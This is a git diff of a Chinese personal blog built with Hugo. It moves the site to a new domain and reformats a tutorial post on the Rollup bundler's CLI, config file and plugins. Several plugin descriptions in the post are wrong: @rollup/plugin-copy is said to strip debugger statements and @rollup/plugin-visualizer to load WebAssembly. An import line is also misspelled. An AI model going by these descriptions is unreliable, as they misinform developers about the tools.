href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Web.py学习笔记</h1><div class=post-meta><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Web.py%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）</p><p>安装web.py</p><p>pip install web.py</p><p>导入模块</p><p>import web</p><p>第一个例子</p><pre><code>import web
+urls = (
+    &quot;/(.*)&quot;,&quot;hallo&quot;
+)
+app = web.application(urls,globals())
+class hallo:
+    def GET(self,name):
+        return &quot;&lt;h1&gt;hallo web.py&lt;/h1&gt;&quot;
+if __name__==&quot;__main__&quot;:
+    app.run()
+</code></pre><p>可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/python/>Python</a></li><li><a href=https://chenjunlinabc.github.io/tags/web.py/>web.py</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/119/><span class=title>« Prev</span><br><span>简单使用Rollup模块打包工具</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/116/><span class=title>Next »</span><br><span>weex跨平台框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/119/index.html b/posts/119/index.html
index 9a53f6a2..86342191 100644
--- a/posts/119/index.html
+++ b/posts/119/index.html
@@ -8,16 +8,16 @@
 查看帮助文档
 rollup &ndash;help
 打包使用
-rollup -i index.js
默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
rollup -i index.js --file dist.js --format cjs
rollup -i index.js --file dist.js --format iife
打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是&ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
 rollup src/demo.js -f umd -o dist/bundle.js &ndash;name hallo
-在global下声明一个名为hallo的对象，用来挂载全部的export模块"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/119/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Rollup模块打包工具"><meta property="og:description" content="根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
+在global下声明一个名为hallo的对象，用来挂载全部的export模块"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/119/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Rollup模块打包工具"><meta property="og:description" content="根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
 提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包
@@ -27,15 +27,15 @@
 查看帮助文档
 rollup &ndash;help
 打包使用
-rollup -i index.js
默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
rollup -i index.js --file dist.js --format cjs
rollup -i index.js --file dist.js --format iife
打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是&ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
 rollup src/demo.js -f umd -o dist/bundle.js &ndash;name hallo
-在global下声明一个名为hallo的对象，用来挂载全部的export模块"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/119/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-11-10T16:22:00+00:00"><meta property="article:modified_time" content="2021-11-10T16:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Rollup模块打包工具"><meta name=twitter:description content="根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
+在global下声明一个名为hallo的对象，用来挂载全部的export模块"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/119/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-11-10T16:22:00+00:00"><meta property="article:modified_time" content="2021-11-10T16:22:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Rollup模块打包工具"><meta name=twitter:description content="根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
 提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包
@@ -45,63 +45,63 @@
 查看帮助文档
 rollup &ndash;help
 打包使用
-rollup -i index.js
默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
rollup -i index.js --file dist.js --format cjs
rollup -i index.js --file dist.js --format iife
打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是&ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
 rollup src/demo.js -f umd -o dist/bundle.js &ndash;name hallo
-在global下声明一个名为hallo的对象，用来挂载全部的export模块"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Rollup模块打包工具","item":"https://xiaochenabc123.github.io/posts/119/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Rollup模块打包工具","name":"简单使用Rollup模块打包工具","description":"根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。\nRollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的\n注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案\n提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包\nRollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成\n安装rollup\nnpm install rollup\n查看帮助文档\nrollup \u0026ndash;help\n打包使用\nrollup -i index.js\r默认输出到终端\n指定输出到哪个文件\nrollup -i index.js --file dist.js\r还可以指定输出模块标准是哪个\nrollup -i index.js --file dist.js --format umd\rrollup -i index.js --file dist.js --format cjs\rrollup -i index.js --file dist.js --format iife\r打包\nrollup src/demo.js -f cjs -o dist/bundle.js\n注意：-f是\u0026ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife\n使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中\nrollup src/demo.js -f umd -o dist/bundle.js \u0026ndash;name hallo\n在global下声明一个名为hallo的对象，用来挂载全部的export模块","keywords":["Rollup"],"articleBody":"根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。\nRollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的\n注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案\n提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包\nRollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成\n安装rollup\nnpm install rollup\n查看帮助文档\nrollup –help\n打包使用\nrollup -i index.js\r默认输出到终端\n指定输出到哪个文件\nrollup -i index.js --file dist.js\r还可以指定输出模块标准是哪个\nrollup -i index.js --file dist.js --format umd\rrollup -i index.js --file dist.js --format cjs\rrollup -i index.js --file dist.js --format iife\r打包\nrollup src/demo.js -f cjs -o dist/bundle.js\n注意：-f是–format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife\n使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中\nrollup src/demo.js -f umd -o dist/bundle.js –name hallo\n在global下声明一个名为hallo的对象，用来挂载全部的export模块\n一次打包多个文件\nrollup -i index.js -i main.js –dir dist –format cjs\n如果想监听文件是否改动，可以使用-w参数（–watch），当文件发生改动的时候，重新打包\n配置文件（rollup.config.js）\nexport default {\rinput: [\"./src/demo.js\"],\routput: {\rfile: \"./dist/bundle.js\",\rformat: \"cjs\",\rname: \"experience\",\r},\r}\r如果配置文件想使用module.exports = {}的方式，需要将配置文件修改为.cjs文件\n执行命令\nrollup -c rollup.config.js\n或者\nrollup –config rollup.config.js\n打包阶段传递环境变量\nrollup.config.js获取设置的变量 console.log(process.env.DEV)\n执行时设置环境变量 rollup -c rollup.config.js –environment DEV:1\n这个可以通过环境变量的不同，来做不同的处理，而不需要写多套config配置了\nRollup的Tree-shaking功能，只对使用的模块进行打包，对于没有使用的模块是不进行打包的\nRollup常用插件（vite使用Rollup作为打包工具，因此vite也可以使用Rollup插件）\n@rollup/plugin-json，打包json文件成js代码\n安装\nyarn add @rollup/plugin-json\n使用\nyarn rollup -c rollup.config.js –plugin json\n如果不想在命令行设置要使用的插件，也可以在rollup.config.js下设置\nimport json form rollup/plugin-json\rexport default {\rinput: [\"./src/demo.js\"],\routput: {\rfile: \"./dist/bundle.js\",\rformat: \"cjs\",\rname: \"experience\",\rplugins: [],\rbanner: '/**hallo word**/',\r},\rexternals: [\r'react'\r]\rplugins:[\rjson(),\r]\r}\r可以看到Rollup插件是函数，并且是顺序执行插件\nexternals可以指定不打包的模块\nbanner是指定打包完成文件头部的注释，会和rollup-plugin-terser插件冲突，代码压缩会删除全部注释\n也可以通过设置npm script脚本来简化命令\n'scripts':{\r'build': 'rollup -c rollup.config.js'\r}\r执行npm run build或者yarn build都可以执行\n@rollup/plugin-babel，将es6文件转换为es5文件\n@rollup/plugin-alias，设置模块别名，不需要写很长很长的路径，例如：\nplugins: [\ralias({\rentries: [\r{ find: 'main', replacement: '../src/main' },\r{ find: 'test', replacement: './test' }\r]\r})\r]\rindex.js\nimport main from 'main'\rimport test from 'test'\r@rollup/plugin-commonjs，让其支持CommonJS模块标准打包\n@rollup/plugin-vue，打包.vue文件，vue2和vue3使用的插件版本不同，vue3使用的是@rollup/plugin-vue6.0.0版本以上，而vue2使用@rollup/plugin-vue5.1.9版本，而且还需要搭配vue编译器使用，vue3使用@vue/compiler-sfc，vue2使用vue-template-compiler\n@rollup/plugin-node-resolve，允许打包第三方模块，这个插件需要搭配@rollup/plugin-commonjs使用，因为这个插件底层实现是使用了CommonJS模块标准\n@rollup/plugin-typescript，增加typescript支持，TypeScript版本要求3.7以及以上\n@rollup/plugin-image，支持图片加载依赖，图片会被编码为base64格式（体积会增加）\nrollup-plugin-terser，代码压缩插件，应该在打包完成后执行该插件，因此应该在output内部的plugins设置，老插件，这个插件没有设置default，import使用时需要{terser}\n@rollup/plugin-postcss，让其支持使用postcss以及postcss插件\n@rollup/plugin-serve，启动本地服务器\n@rollup/plugin-livereload，文件发生变化，进行实时刷新\n@rollup/plugin-eslint，打包时校验语法是否符合规范\n@rollup/plugin-copy，打包时删除debugger语句和函数，例如console.log\n@rollup/plugin-visualizer，加载WebAssembly模块\n","wordCount":"222","inLanguage":"en","datePublished":"2021-11-10T16:22:00Z","dateModified":"2021-11-10T16:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/119/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Rollup模块打包工具</h1><div class=post-meta><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Rollup%e6%a8%a1%e5%9d%97%e6%89%93%e5%8c%85%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。</p><p>Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的</p><p>注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案</p><p>提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包</p><p>Rollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成</p><p>安装rollup</p><p>npm install rollup</p><p>查看帮助文档</p><p>rollup &ndash;help</p><p>打包使用</p><pre><code>rollup -i index.js
-</code></pre><p>默认输出到终端</p><p>指定输出到哪个文件</p><pre><code> rollup -i index.js --file dist.js
-</code></pre><p>还可以指定输出模块标准是哪个</p><pre><code> rollup -i index.js --file dist.js --format umd
-
- rollup -i index.js --file dist.js --format cjs
-
- rollup -i index.js --file dist.js --format iife
-</code></pre><p>打包</p><p>rollup src/demo.js -f cjs -o dist/bundle.js</p><p>注意：-f是&ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife</p><p>使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中</p><p>rollup src/demo.js -f umd -o dist/bundle.js &ndash;name hallo</p><p>在global下声明一个名为hallo的对象，用来挂载全部的export模块</p><p>一次打包多个文件</p><p>rollup -i index.js -i main.js &ndash;dir dist &ndash;format cjs</p><p>如果想监听文件是否改动，可以使用-w参数（&ndash;watch），当文件发生改动的时候，重新打包</p><p>配置文件（rollup.config.js）</p><pre><code>export default {
-    input: [&quot;./src/demo.js&quot;],
-    output: {
-        file: &quot;./dist/bundle.js&quot;,
-        format: &quot;cjs&quot;,
-        name: &quot;experience&quot;,
-    },
-}
+在global下声明一个名为hallo的对象，用来挂载全部的export模块"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Rollup模块打包工具","item":"https://chenjunlinabc.github.io/posts/119/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Rollup模块打包工具","name":"简单使用Rollup模块打包工具","description":"根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。\nRollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的\n注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案\n提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包\nRollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成\n安装rollup\nnpm install rollup\n查看帮助文档\nrollup \u0026ndash;help\n打包使用\nrollup -i index.js 默认输出到终端\n指定输出到哪个文件\nrollup -i index.js --file dist.js 还可以指定输出模块标准是哪个\nrollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包\nrollup src/demo.js -f cjs -o dist/bundle.js\n注意：-f是\u0026ndash;format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife\n使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中\nrollup src/demo.js -f umd -o dist/bundle.js \u0026ndash;name hallo\n在global下声明一个名为hallo的对象，用来挂载全部的export模块","keywords":["Rollup"],"articleBody":"根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。\nRollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的\n注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案\n提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包\nRollup是ESM模块标准构建打包工具，源必须使用ESM模块标准，如果需要使用其他标准可通过插件完成\n安装rollup\nnpm install rollup\n查看帮助文档\nrollup –help\n打包使用\nrollup -i index.js 默认输出到终端\n指定输出到哪个文件\nrollup -i index.js --file dist.js 还可以指定输出模块标准是哪个\nrollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包\nrollup src/demo.js -f cjs -o dist/bundle.js\n注意：-f是–format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife\n使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中\nrollup src/demo.js -f umd -o dist/bundle.js –name hallo\n在global下声明一个名为hallo的对象，用来挂载全部的export模块\n一次打包多个文件\nrollup -i index.js -i main.js –dir dist –format cjs\n如果想监听文件是否改动，可以使用-w参数（–watch），当文件发生改动的时候，重新打包\n配置文件（rollup.config.js）\nexport default { input: [\"./src/demo.js\"], output: { file: \"./dist/bundle.js\", format: \"cjs\", name: \"experience\", }, } 如果配置文件想使用module.exports = {}的方式，需要将配置文件修改为.cjs文件\n执行命令\nrollup -c rollup.config.js\n或者\nrollup –config rollup.config.js\n打包阶段传递环境变量\nrollup.config.js获取设置的变量 console.log(process.env.DEV)\n执行时设置环境变量 rollup -c rollup.config.js –environment 